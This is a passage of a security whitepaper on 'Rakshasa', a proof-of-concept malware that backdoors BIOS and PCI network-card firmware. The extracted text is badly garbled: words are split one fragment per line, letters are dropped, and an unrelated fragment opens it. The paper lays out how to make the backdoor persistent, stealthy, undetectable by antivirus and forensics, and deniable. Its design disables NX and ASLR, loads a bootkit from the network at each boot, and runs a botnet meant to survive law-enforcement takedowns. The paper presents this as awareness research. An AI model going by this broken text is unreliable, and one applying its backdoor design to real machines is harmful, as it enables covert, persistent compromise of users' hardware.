is
to
cr
e
ate
National
Council
of
the
Resistance
Abstract.
This
article
will
demonstrate
that
p
ermanen
t
bac
kdo
oring
of
hardw
are
is
practical.
W
e
ha
v
e
built
a
generic
pro
of
of
concept
malw
are
for
the
in
tel
arc
hitecture,
Rakshasa
1
,
capable
of
infecting
more
than
a
h
undred
dieren
t
motherb
oards.
The
rst
net
eect
of
Rakshasa
is
to
disable
NX
p
ermanen
tly
and
remo
v
e
SMM[1
℄
related
xes
from
the
BIOS,
an
Unied
Extensible
Firm
w
are
In
terface
(UEFI)[2
℄[3
℄
rm
w
are,
or
from
a
PCI[4℄
rm
w
are,
resulting
in
p
ermanen
t
lo
w
ering
of
the
securit
y
of
the
bac
kdo
ored
computer,
ev
en
after
complete
earasing
of
hard
disks
and
reinstallation
of
a
new
op
erating
system.
W
e
shall
also
demonstrate
that
preexisting
w
ork
on
MBR
sub
v
ertions
suc
h
as
b
o
otkiting
and
preb
o
ot
authen
tication
soft
w
are
bruteforce
or
faking
can
b
e
em
b
edded
in
Rakshasa
with
little
eort.
More
o
v
er,
Rakshasa
is
built
on
top
of
free
soft
w
are,
including
the
Coreb
o
ot[5
℄,
Seabios[6℄,
and
iPXE[7
℄
pro
jects,
meaning
that
most
of
its
source
co
de
is
b
oth
already
public
and
non
malicious,
therefore
extremely
hard
to
detect
as
suc
h.
W
e
shall
nally
demonstrate
that
bac
kdo
oring
of
the
BIOS
or
PCI
rm
w
ares
to
allo
w
the
silen
t
b
o
oting
a
remote
pa
yload
via
an
h
ttp(s)
connection
is
equally
practical
and
ruins
all
hop
e
to
detect
the
infection
using
existing
to
ols
suc
h
as
an
tivirii
or
existing
forensics
to
ols.
It
is
hop
ed
to
raise
a
w
areness
of
the
industry
regarding
the
dangers
asso
ciated
with
the
PCI
standard,
esp
ecially
question
the
use
of
non
op
en
source
rm
w
ares
shipp
ed
with
an
y
computer
and
question
their
in
tegrit
y
or
actual
in
tend.
This
shall
also
result
in
upgrading
the
b
est
practices
in
companies
regarding
forensics
and
p
ost
in
trusion
analysis
b
y
including
the
afore
men
tioned
rm
w
ares
as
part
of
their
scop
e
of
w
ork.
Keyw
ords:
Hardw
are
bac
kdo
oring,
PCI
rm
w
are,
BIOS,
EFI,
romkitting,
remote
b
o
ot,
Botnet.
1
Rakshasa
is
the
Hindi
w
ord
for
deamon.
T
able
of
Con
ten
ts
1
In
tro
duction
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
3
2
Related
w
ork
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
3
3
Ov
erview
of
the
IBM
PC
and
its
legacy
problems
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
5
4
Designing
the
p
erfect
bac
kdo
or
:
scop
e
of
w
ork
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
6
5
Implemen
tation
details
:
Rakshasa
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
7
6
Inner
w
orking
of
Rakshasa
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
8
7
Em
b
edded
features
of
Rakshasa
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
10
8
Ho
w
to
prop
erly
build
a
b
otnet
from
the
BIOS
:
BIOSBonets
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
11
9
Wh
y
(p
ossibly
hardw
are
assisted)
encryption
w
on't
solv
e
the
problem
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
12
10
Remediation
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
13
11
Conclusion
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
13
12
A
c
kno
wledgemen
ts
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
14
1
In
tro
duction
A
recen
t[8
℄
rep
ort
from
the
US-China
Economic
and
securit
y
review
commission
b
y
Northrop
Grumman
Corp
called
"Occup
ying
the
Information
High
Ground:
Chinese
Capabilities
for
Computer
Net
w
ork
Op
erations
and
Cyb
er
Espionage"
concluded
that:
"This
close
relationship
b
et
w
een
some
of
China's
-and
the
w
orld's-
largest
telecomm
unications
hardw
are
man
ufacturers
creates
a
p
oten
tial
v
ector
for
state
sp
onsored
or
state
directed
p
enetrations
of
the
supply
c
hains
for
micro
electronics
supp
orting
U.S.
military
,
civilian
go
v
ernmen
t,
and
high
v
alue
civilian
industry
suc
h
as
defense
and
telecomm
unications,
though
no
evidence
for
suc
h
a
connection
is
publicly
a
v
ailable."
In
other
w
ords
:
since
China
has
b
ecome
the
de
facto
man
ufacturer
of
most
IT
equipmen
t
in
the
w
orld,
China
can
bac
kdo
or
an
y
computer
at
will.
An
yb
o
dy
part
of
the
supply
c
hain
can.
W
e
b
eliev
e
this
is
an
euphemism
:
w
e
shall
here
demonstrate
the
practicalit
y
of
suc
h
a
bac
kdo
oring
using
existing
op
en
source
soft
w
are,
lo
w
ering
the
bar
of
suc
h
an
attac
k
from
state
lev
el
or
otherwise
v
ery
large
corp
orations
to
an
y
16bits
assem
bly
exp
ert,
as
w
ell
as
demonstrate
that
installing
suc
h
a
bac
kdo
or
remotely
is
equally
practical.
2
Related
w
ork
The
rst
kno
wn
virus,
brain,
w
as
alledgely
built
in
Romania
in
the
early
80's.
It
w
as
targetting
the
Master
Bo
ot
Record
(MBR)
of
the
rst
b
o
otable
hard
driv
e
in
order
to
gain
early
execution
and
used
opp
y
disks
to
propagate.
This
attac
k
v
ector
has
b
een
replicated
b
y
literally
thousands
of
viruses
during
the
80s
and
90s,
un
till
the
app
earance
of
the
in
ternet,
when
viruses
switc
hed
to
userland
in
order
to
b
enet
from
in
ternet
access
as
a
propagation
v
ector.
Gaining
early
execution
has
long
b
een
b
eliev
ed
the
b
est
w
a
y
to
gain
maxim
um
privileges
on
IBM
PCs.
In
2009,
at
Cansecw
est,
Anibal
Saco
and
Alfredo
Ortega[9
℄
demonstrated
ho
w
they
managed
to
patc
h
a
Pho
enix-A
w
ard
BIOS
to
em
b
ed
malicious
features
(mo
difying
the
shado
w
le
on
Unix-lik
e
systems,
or
patc
h
Microsoft
Windo
ws
binaries).
In
2007,
John
Heasman[10
℄
demonstrated
that
infecting
The
Extensible
Firm
w
are
In
terface
(EFI)
b
o
otloader
w
ould
lead
to
the
same
results.
If
the
former
targetted
one
sp
ecic
BIOS,
the
latter
w
ould
b
e
mitigated
b
y
reinstalling
a
sane
b
o
otloader.
Op
erating
mo
dications
on
the
le
system
isn't
stealth
and
lea
v
es
clear
forensics
evidence
:
as
a
matter
of
fact,
a
simple
one
w
a
y
c
hec
ksum
of
all
the
existing
les
on
the
lesystem
p
erformed
b
efore
and
after
infection
from
a
sane
op
erating
system
w
ould
detect
the
mo
dication.
Therefore,
securit
y
researc
hers
ha
v
e
conceiv
ed
w
a
ys
to
sub
v
ert
a
running
k
ernel
on
the
y
without
ev
en
touc
hing
the
lesystem.
No-
table
researc
h
include
Bo
otRo
ot[11
℄from
Derek
So
eder
and
Ry
an
P
ermeh,
vb
o
otkit
from
Kumar
and
Kumar[12℄,
capable
of
b
o
otkitting
a
Windo
ws
7
k
ernel,
the
Stoned
b
o
otkit[13
℄,
and
the
K
on-b
o
ot
com-
mercial
b
o
otkit
from
Piotr
Bania[14
℄,
capable
of
sub
v
erting
all
the
existing
NT
k
ernels,
from
Windo
ws
XP
to
Windo
ws
2008
R2
and
Windo
ws
7,
in
b
oth
32
and
64
bits.
Those
attac
ks
w
ork
b
y
b
o
oting
from
an
alternate
media
suc
h
as
a
o
op
y
or
usb
stic
k,
or
b
y
replacing
the
existing
MBR
(and
restore
its
rst
sector
in
memory
,
em
ulating
an
in
terruption
0x19).
Running
a
b
o
otkit
from
an
alternate
medium
lea
v
es
no
forensic
evidence.
It
is
also
w
orth
noticing
that
the
Stoned
Bo
otkit
managed
to
b
o
otkit
the
Windo
ws
k
ernel
in
spite
of
p
ossible
encryption
suc
h
as
T
ruecrypt[15
℄.
It
is
w
orth
men
tionning
that
the
inner
w
orking
of
an
y
b
o
otkit
is
the
same
:
ho
oking
the
in
terruption
0x13
(disk
access)
b
y
patc
hing
the
Iterrupt
V
ector
T
able
(IVT),
set
a
rogue
in
terruption
handler,
and
em
ulate
an
in
terruption
0x19
b
y
loading
the
rst
sector
of
the
rst
b
o
otable
disk
at
0x0000:0x7c00
b
efore
transfering
execution
to
this
lo
cation.
This
rst
sector
will
in
turn
load
the
op
erating
system
normally
,
but
the
rogue
0x13
in
terrupt
handler
will
ho
ok
an
y
read
of
a
sector
from
disk
and
once
the
k
ernel
of
the
main
op
erating
system
is
fully
unpac
k
ed
in
memory
,
patc
h
a
few
carefully
c
hosen
lo
cations
in
order
to
mo
dify
it
on
the
y
.
Public
pa
yloads
include
patc
hing
the
NT
k
ernel
to
accept
an
y
pass-
w
ord
for
an
y
accoun
t,
or
load
an
unsigned
k
ernel
mo
dule,
whic
h
can
eectiv
ely
execute
an
y
op
eration
in
ring
0
once
the
op
erating
system
is
fully
loaded
(eg:
allo
w
lo
cal
privilege
excalation,
remote
con
trol,
etc).
3
Our
main
con
tributions
are:
-
Romkit
not
a
single,
but
h
undreads
of
dieren
t
motherb
oards.
this
is
b
etter
b
y
t
w
o
orders
of
magni-
tude
o
v
er
existing
researc
h.
-
Em
b
ed
an
y
existing
b
o
otkits
as
part
of
a
romkit
without
an
y
mo
dication.
-
Use
of
routable
ip
pac
k
ets
to
upgrade
the
romkit,
execute
remote
pa
yloads
and
optionally
attac
k
the
LAN,
either
using
an
ethernet
or
Wi
stac
k.
-
A
mec
hanism
to
allo
w
b
otnet
resilience
against
la
w
enforcemen
t
DNS
tak
e
o
v
ers,
o
v
er
HTTPS
using
assymetric
cryptograph
y
and
a
replication
mec
hanism
making
the
rom-b
otnet
close
to
imp
ossible
to
sh
utdo
wn.
-
P
ermanen
t
lo
w
ering
of
the
securit
y
lev
el
of
an
y
future
(unkno
wn)
op
erating
system
installed
on
the
computer,
when
existing
b
o
otkits
assume
either
a
GNU/Lin
ux
or
NT
k
ernel.
-
P
ersistance
of
the
infection
ev
en
if
the
main
BIOS
rom
is
ev
er
ashed
b
y
infecting
m
ultiple
PCI
rm
w
ares
(suc
h
as
a
cdrom
rm
w
are)
with
malicious
net
w
ork
rm
w
ares,
capable
of
upgrading
an
y
other
PCI
rom
remotely
(eg:
infect
the
BIOS
or
main
net
w
ork
PCI
rom
bac
k),
while
preserving
func-
tionalit
y
.
-
Disabling
A
ddress
Space
La
y
out
Randomization
(ASLR)[16℄
and
NX
2
from
NT
k
ernels,
making
an
y
future
Windo
ws
op
erating
systems
vulnerabilit
y
trivial
to
exploit
on
an
infected
mac
hine.
-
An
infection
mec
hanism
oering
b
oth
plausible
deniabilit
y
and
non
atribution,
hence
compatible
with
state
lev
el
global
hardw
are
bac
kdo
oring.
2
The
NX
bit
is
the
63th
(leftmost)
bit
of
the
P
age
T
able
En
try
on
amd64
arc
hitectures.
4
3
Ov
erview
of
the
IBM
PC
and
its
legacy
problems
The
IBM
PC
w
as
originaly
designed
around
1981.
It
has
ev
olv
ed
since,
in
particular
with
the
replace-
men
t
of
older
Industry
Standard
Arc
hitecture
(ISA)[17
℄
p
eriferals
in
fa
v
or
of
m
uc
h
faster
P
eripheral
Comp
onen
t
In
terconnect
(PCI)[4℄
devices
in
1996,
and
ev
en
faster
devices
with
PCI
Express
(pushed
b
y
In
tel
in
2004,
commonly
refered
to
as
PCI-E
or
PCIe)[18℄.
But
the
core
design
remains
the
same,
the
cpu
still
b
o
oting
in
8088
compatibilit
y
mo
de
(id
est:
16b
real
mo
de)
ev
en
on
the
most
recen
t
motherb
oards.
It
is
w
orth
men
tioning
that
when
rst
launc
hed,
Windo
ws
95
had
op
en
net
w
ork
shares
(netbios),
whic
h
is
a
clear
sign
that
around
those
dates,
Microsoft
had
not
an
ticipated
the
raise
of
the
In
ternet
and
had
therefore
designed
an
op
eratiing
system
to
b
e
used
primarily
in
LAN
en
vironmen
ts.
Needless
to
sa
y
IBM
couldn't
ha
v
e
an
ticipated
the
in
ternet
either
bac
k
in
1981.
The
basic
design
of
the
IBM
PC
is
presen
ted
in
gure
1
:
from
the
b
ottom
to
the
top,
w
e
nd
the
Sup
er
I/O,
to
whic
h
are
con-
nected
legacy
ISA
devices
(hence
slo
w
devices)
suc
h
as
k
eyb
oards,
mouse,
and
opp
y
driv
es.
The
Sup
er
I/O
is
connected
to
the
South
bridge,
via
an
LPC
bus.
The
South
bridge
is
resp
onsible
for
handling
faster
p
eripherals
(up
to
2133
Mb
/
second
for
PCI-X
2.0),
t
ypically
complian
t
with
the
PCI
standard.
Suc
h
devices
can
b
e
for
instance
net
w
ork
(ethernet),
sound
or
older
graphic
cards.
The
South
bridge
is
himself
connected
to
the
North
bridge
via
the
in
ternal
bus,
whic
h
is
himself
resp
onsible
for
handling
m
uc
h
faster
p
eripherals
t
ypically
complian
t
with
the
PCIe
standard,
with
a
debit
up
to
16
Gb/s
for
the
v
ersion
3.0
of
the
standard.
Suc
h
devices
can
b
e
for
instance
new
er
3D
graphic
cards,
gigabit
ethernet
cards
or
en
treprise
storage
(SAS).
The
North
bridge
can
con
tain
the
cpu
and
has
in
an
y
case
a
high
sp
eed
connection
with
it
through
the
F
ron
t
Side
Bus
(FSB).
Eac
h
la
y
er
of
the
arc
hitecture
con
tains
Direct
Memory
A
ccess
(DMA)
c
hips,
whic
h
are
con
troled
b
y
input/output
memory
managemen
t
unit
(IOMMU)[19℄
for
p
erformance
and
securit
y
reasons.
Fig.
1.
Ov
erview
of
the
IBM
PC
arc
hitecture.
5
Because
p
eripherals
sometimes
need
upgrading,
they
are
con
troled
b
y
via
em
b
edded
rm
w
ares
:
ISA
p
eripherals
had
em
b
edded
ISA
roms,
and
PCI
ha
v
e
PCI
exp
ension
roms.
Ev
en
though
end
users
are
hardly
a
w
are
of
their
v
ery
existence,
those
rm
w
ares
can
b
e
upgraded
(ashed),
usually
using
propri-
etary
and
v
endor
sp
ecic
to
ols.
T
o
a
v
oid
trivial
bac
kdo
oring,
some
cards
oer
a
ph
ysical
switc
h
whic
h
needs
to
b
e
man
ually
actioned
to
allo
w
the
asing
of
the
rm
w
are.
An
other
critical
rm
w
are
is
the
BIOS
rm
w
are,
whic
h
tak
es
place
in
the
motherb
oard.
It
is
rep
onsible
for
detecting
hardw
are
suc
h
as
RAM
and
p
eripherals
at
b
o
ot
time,
initialize
an
In
terrupt
V
ector
T
a-
ble
to
allo
w
in
terraction
with
those
p
eriferals
from
the
RAM,
and
load
the
Master
Bo
ot
Record
from
the
rst
b
o
otable
hard
driv
e
using
in
terruption
0x19.
When
b
o
oting
in
8088
compatibilit
y
mo
de,
the
b
o
ot
loader
can
only
rely
on
the
IVT
to
load
a
k
ernel
in
memory
,
who
will
t
ypically
quic
kly
switc
h
to
protected
mo
de
and
nev
er
use
the
IVT
ev
er
again,
fa
v
ouring
m
uc
h
faster
device
driv
ers
for
hardw
are
in-
terface
from
protected
mo
de.
The
BIOS
rm
w
are
can
also
b
e
upgraded,
and
it
is
in
fact
prett
y
common
to
correct
hardw
are
bugs
suc
h
as
p
cu
bugs
b
y
pushing
a
signed
micro
co
de
up
date
to
the
cpu
from
the
BIOS.
Finally
,
the
BIOS
t
ypically
activ
ates
a
bit
in
con
trol
registers
to
prev
en
t
the
cpu
to
b
e
switc
hed
to
System
Managemen
t
Mo
de
(SSM)
-
whic
h
is
really
the
cpu
patc
h
mo
de
-
in
order
to
prev
en
t
a
class
of
attac
ks
disco
v
ered
b
y
Loic
Duot[1
℄
and
released
publically
b
y
BSDeamon[20℄.
Some
v
endors,
notably
HP
ha
v
e
started
digitally
signing
their
BIOSes
to
a
v
oid
rogue
upgrading.
In
an
y
case,
an
attac
k
er
with
ph
ysical
access
to
the
BIOS
or
p
eripherals
can
replace
the
rm
w
ares
without
relying
on
the
op
erat-
ing
system
b
y
writting
to
the
c
hip
using
for
instance
self
sucian
t
hardw
are
to
ols
based
on
FPGA
c
hips.
One
of
the
problem
with
the
design
of
this
arc
hitecture
is
ro
oted
in
the
trust
p
eripherals
of
eac
h
la
y
er
ha
v
e
in
eac
h
others.
F
or
instance,
the
rm
w
are
of
a
cdrom
PCI
device
can
absolutely
con
trol
a
PCI
net
w
ork
card.
And
in
the
same
w
a
y
,
an
ISA
rm
w
are
can
con
trol
an
other
ISA
device.
This
b
eha
vior
cannot
b
e
c
hanged
:
this
is
ho
w
IBM
PCs
w
ork.
It
is
also
w
orth
noting
that
the
T
rusted
Platform
Mo
dule[21
℄
(TPM)
is
t
ypically
connected
to
the
south
bridge,
v
ery
far
from
the
cpu.
Moreo
v
er,
it
is
a
passiv
e
comp
onen
t,
meaning
that
soft
w
are
can
c
hose
to
use
it
or
not,
but
that
the
cpu
cannot
enforce
its
use.
This
is
a
serious
w
eakness
of
the
whole
arc
hitecture
as
w
e
will
see
later
in
this
pap
er.
As
one
migh
t
exp
ect,
the
rm
w
ares
em
b
edded
in
BIOSes
or
PCI
devices
(PCI
exp
ension
R
OMs)
are
v
endor
sp
ecic
and
totally
not
standard.
The
whole
purp
ose
of
this
pap
er
is
to
explain
ho
w
to
gener-
ically
mo
dify
suc
h
rm
w
ares
to
create
a
bac
kdo
or
that
can
not
b
e
detected
from
user
land
once
a
k
ernel
has
b
een
loaded
in
RAM
and
a
switc
h
to
protected
mo
de
has
b
een
p
erformed.
Because
the
BIOS
rm
w
are
is
strictly
sp
eaking
the
rst
piece
of
soft
w
are
to
b
e
executed
on
the
computer,
and
b
ecause
it
giv
es
early
con
trol
to
eac
h
PCI
exp
ension
R
OM
during
early
b
o
ot
(b
efore
switc
hing
to
protected
mo
de),
an
y
malicious
action
routine
executed
at
this
stage
enjo
ys
full
access
to
hardw
are
resources.
In
particular,
it
is
w
orth
reminding
that
real
mo
de
is
not
capable
of
m
ultitasking,
and
that
suc
h
routines
therefore
ha
v
e
access
to
100
p
er
cen
t
of
the
resources
of
the
mac
hine.
4
Designing
the
p
erfect
bac
kdo
or
:
scop
e
of
w
ork
The
author
of
this
whitepap
er
do
esn't
usually
sp
end
time
writting
malw
ares.
T
o
the
opp
osite,
he
sp
en
t
quite
a
signican
t
part
of
his
life
studying
and
rev
ersing
them.
But
to
pro
v
e
our
p
oin
t,
let's
pretend
w
e'd
really
lik
e
to
design
a
prop
er
bac
kdo
or
to
b
e
used
in
the
wild.
W
e'd
also
lik
e
to
underline
the
fact
that
w
e
b
eliev
e
most
of
the
comm
unication
in
v
olving
malw
are,
if
not
all
of
it,
coming
from
ma-
jor
an
tivirus
v
endors
and
happily
rela
y
ed
b
y
servile
media
is
blatan
tly
tain
ted
with
FUD
3
.
Instead
of
arguing
on
w
ether
Flame
and
Stuxnet
could
ha
v
e
b
een
written
b
y
amateurs
instead
of
nation
states,
let's
see
ho
w
an
attac
k
er
can
write
a
nation
state
qualit
y
bac
kdo
or
on
a
budget.
This
shall
also
serv
e
as
a
go
o
d
exemple
of
ho
w
a
v
endor
man
ufacturer
could
design
a
prop
er
bac
kdo
or
with
similar
in
tend.
First
of
all,
w
e'd
lik
e
our
bac
kdo
or
to
b
e
p
ersistan
t.
Not
simply
p
ersistan
t
b
et
w
een
reb
o
ots,
but
also
in
case
the
user
of
the
computer
w
as
to
replace
the
en
tire
op
erating
system,
p
ossibly
ev
en
p
ortions
of
3
F
ear,
Uncertain
t
y
,
Doubt.
6
the
hardw
are
(replacing
the
hard
driv
e
or
the
net
w
ork
card
for
instance),
ash
the
BIOS
or
an
y
other
rm
w
are
on
the
motherb
oard
and
p
eripherals.
T
o
ac
hiev
e
this
goal,
w
e
will
a
v
oid
ha
ving
a
single
p
oin
t
of
failure
and
will
hence
need
some
degree
of
redundancy
.
Of
course,
the
bac
kdo
or
should
b
e
as
stealth
as
p
ossible.
Needless
to
sa
y
it
shall
not
b
e
detected
b
y
an
y
an
tivirus
on
the
mark
et.
It
shall
also
b
e
p
ortable
:
ideally
,
w
e'd
lik
e
it
to
b
e
totally
op
erating
system
indep
endan
t.
Because
a
signican
t
p
ortion
of
the
IT
budget
of
companies
go
es
in
to
exp
ensiv
e
(and
quite
inecian
t
4
)
detection
gear
suc
h
as
In
trusion
Detection
Systems
(IDS),
In
trusion
Prev
en
tion
systems
(IPS)
and
rew
alls,
w
e'll
need
our
bac
kdo
or
to
b
e
capable
to
break
the
net
w
ork
p
erimeter
of
large
companies
in
some
w
a
y
or
an
other.
In
terms
of
functionalit
y
,
w
e'd
lik
e
the
bac
kdo
or
to
allo
w
remote
up
dates
and
pro
vide
remote
access.
This
implies
some
degree
of
net
w
ork
a
w
areness.
Finally
,
if
w
e
w
an
t
to
matc
h
nation
state
qualit
y
bac
kdo
ors,
w
e
need
our
creation
to
oba
y
t
w
o
golden
rules
alw
a
ys
emplo
y
ed
b
y
secret
services
around
the
w
orld
:
plausible
deniabilit
y
and
non
attribution.
the
rst
one
is
a
mean
to
oer
an
alternativ
e
explanation
in
case
the
bac
kdo
or
w
as
to
b
e
disco
v
ered
in
spite
of
our
b
est
eorts
to
mak
e
it
as
stealth
as
p
ossible.
By
ha
ving
a
second
credible
alternativ
e
to
explain
the
presence
of
the
bac
kdo
or
in
the
system,
nation
states
can
den
y
an
y
wrong
doing
and
qualify
their
detractors
of
sheer
b
eliev
ers
of
conspirationist
theories.
Non
attribution
is
equaly
imp
ortan
t
and
is
the
feature
of
not
allo
wing
the
bac
kdo
or
to
b
e
link
ed
to
an
y
individual
or
state
in
particular.
It
is
v
ery
m
uc
h
in
the
air
for
nation
states
to
claim
"it
w
asn't
me
!
...
it
w
as
China".
Needless
to
sa
y
the
bac
kdo
or
shall
also
b
e
c
heap
:
it
shall
therefore
b
e
blatan
t
that
a
skilled
individual
can
indeed
create
bac
kdo
ors
so
far
b
eliev
ed
to
b
e
only
p
ossibly
crafted
b
y
states
in
the
story
telling
of
the
media,
and
ev
en
tually
put
in
p
ersp
ectiv
e
the
FUD
that
is
serv
ed
daily
to
b
oth
citizens
and
decision
mak
ers
in
the
corp
orate
as
w
ell
as
p
olitical
w
orlds.
5
Implemen
tation
details
:
Rakshasa
The
quadruple
constrain
t
:
c
heap
dev
elopmen
t,
v
ast
features
(suc
h
as
net
w
ork
stac
k),
hard
detection
and
non
attribution
dicate
one
direction
for
our
implemen
tation
:
free
and
op
en
source
soft
w
are.
As
a
matter
of
fact,
the
direction
tak
en
b
y
virtually
an
y
malw
are
so
far
to
rely
on
custom
co
de
en
tirely
is
a
bad
idea
as
it
oers
a
large
attac
k
surface
to
an
tivirii
in
terms
of
detection,
is
often
attributable
if
co
de
is
reused
accress
m
ultiple
malw
are,
and
is
no
where
near
c
heap.
T
o
the
opp
osite,
using
non
malicious
free
and
op
en
source
soft
w
are
as
the
core
of
the
bac
kdo
or
pro
vides
little
angle
of
detection
to
an
tivirii,
is
non
attributable
(the
source
co
de
is
a
v
ailable
to
an
y
one
on
the
in
ternet),
is
as
c
heap
as
it
gets.
Plus
it
oers
free
main
tenance
from
the
comm
unit
y
to
the
malw
are
author.
In
order
to
ac
hiev
e
b
oth
p
ersistance
and
stealthness,
it
w
as
c
hosen
to
target
primarily
the
BIOS.
But
to
oer
redundancy
in
case
the
BIOS
w
as
ev
er
ashed,
it
has
b
een
decicded
to
also
pro
vide
an
infection
mec
hanism
through
PCI
exp
ension
R
OMs,
b
y
targetting
the
rm
w
are
em
b
edded
in
ethernet
net
w
ork
cards
5
.
Rakshasa
is
comprised
of
a
custom
v
ersion
of
Coreb
o
ot
for
the
BIOS
bac
k
end,
of
a
custom
SeaBIOS
BIOS-pa
yload
to
create
and
IVT,
of
a
set
of
PCI
exp
ension
R
OMS
(SV
GA
driv
er
and
a
custom
iPXE
4
F
rom
his
h
um
ble
exp
erience
with
vulnerabilities
and
0da
ys,
the
author
strongly
b
eliev
es
lo
oking
for
bugs
and
getting
them
xed
is
the
only
reasonable
protection
against
0da
ys.
Unlik
e
the
aforemen
tioned
net
w
ork
gadgets
(including
an
tivirii/IDS/IPS),
static
analysis
and
fuzzing
ha
v
e
pro
v
ed
to
w
ork.
Sym
b
olic
execution
is
also
a
promising
eld
of
researc
h
ev
en
though
exp
onen
tial
path
explosion
seems
una
v
oidable
in
the
curren
t
state
of
the
art.
W
e
strongly
recommende
companies
to
in
v
est
in
those
tec
hniques
instead
of
silv
er-bullet-an
ti-0da
y-detection
to
ols,
whic
h
w
ork
neither
in
theory
nor
in
practice.
5
Lik
e
men
tioned
previously
,
the
rm
w
are
con
troling
a
net
w
ork
card
could
actually
b
e
placed
in
an
y
other
PCI
device.
Also
ashing,
sa
y
,
the
cdrom
rm
w
are
with
the
v
ery
same
infected
rm
w
are
w
ould
oer
ev
en
greater
redundancy
.
7
R
OM),
plus
a
custom
activ
e
b
o
otkit
whic
h
is
retreiv
ed
from
the
net
w
ork.
Coreb
o
ot
b
y
itself
isn't
a
full
BIOS
:
it
is
only
resp
onsible
for
detecting
the
hardw
are
presen
t
on
the
ma-
c
hine,
p
erform
a
BIOS
POST
and
transfer
con
trol
to
a
"BIOS
pa
yload".
This
BIOS
pa
yload
is
in
turn
resonsible
for
setting
up
and
In
terrupt
V
ector
T
able
that
will
allo
w
an
op
erating
system
to
in
terract
with
the
hardw
are
previously
detected.
In
our
setup,
Coreb
o
ot
and
Seabios
ha
v
e
b
een
trivially
patc
hed
not
to
displa
y
an
ything,
ev
en
though
Coreb
o
ot
is
in
theory
capable
of
displa
ying
a
custom
user
dened
b
o
otsplash
at
b
o
ot
time,
whic
h
w
ould
allo
w
faking
the
image
normally
displa
y
ed
b
y
the
original
BIOS
(t
ypically
con
taining
the
v
endor
logo
etc).
SeaBIOS
w
as
c
hosen
for
its
simplicit
y
,
but
alternativ
e
op
en
source
BIOS
pa
yloads
are
a
v
ailable
whic
h
can
also
displa
y
men
us
and
fo
ol
more
adv
anced
users
that
could
w
an
t
to
mo
dify
their
BIOS
settings.
Other
BIOS
pa
yload
can
also
con
tain
EFI/UEFI
exten
tions,
whic
h
mak
es
our
tec
hnique
applicable
en
tirely
to
UEFI
en
vironmen
ts
6
.
Coreb
o
ot
ha
ving
a
v
ery
mo
dular
design,
it
is
p
ossible
to
em
b
ed
ab
out
an
y
PCI
R
OM
along
with
it,
meaning
that
w
e
can
stu
arbitrary
co
de
inside
the
BIOS
c
hip
itself.
W
e
ha
v
e
c
hosen
to
stic
k
to
the
bare
minim
um,
adding
a
video
driv
er
and
a
rogue
iPXE
ethernet
rm
w
are
(equally
patc
hed
not
to
displa
y
an
ything
when
op
erating).
This
later
PCI
rm
w
are
implemen
ts
a
sup
er
set
of
the
original
PXE[22
℄
standard
:
instead
of
relying
only
on
DHCP
to
aquire
an
IP
address
and
the
address
of
a
TFTP
serv
er
to
do
wnload
an
op
erating
system
from,
it
can
use
a
wide
range
of
proto
cols,
based
on
a
user
dened
conguration
le
em
b
eded
in
the
rm
w
are
itself.
iPXE
con
tains
w
orking
stac
ks
for
ethernet,
wi
and
ev
en
wimax
data
link
la
y
ers
proto
cols,
a
full
featured
IPv(4/6)/icmp
stac
k,
and
implemen
ts
all
a
mal-
w
are
writter
could
dream
of
in
terms
of
upp
er
la
y
er
net
w
ork
stac
ks
:
from
UDP
and
TCP
to
DHCP
,
DNS,
HTTP
,
HTTPS
and
(T)FTP
among
others.
T
ec
hnically
,
Coreb
o
ot
could
also
em
b
ed
a
full
featured
bac
kdo
or
in
the
BIOS
R
OM
itself.
But
since
w
e'd
lik
e
to
oer
upgrading
facilities
to
Rakshasa
and
a
v
oid
lea
ving
an
y
trace
of
hostile
co
de
on
the
mac
hine
(to
deceiv
e
forensics
analyst
in
case
of
detection
or
at
least
suspicion),
w
e'll
refrain
from
using
this
tec
hnique
:
w
e'll
b
o
ot
our
malicious
pa
yload
from
the
net
w
ork
at
eac
h
b
o
ot.
Instead
of
b
o
oting
a
normal
op
erating
system
from
the
wire,
w
e'll
use
iPXE
to
b
o
ot
a
b
o
otkit
remotely
,
whic
h
will
in
turn
transparen
tly
load
the
b
o
otloader
from
the
rst
b
o
otable
disk
b
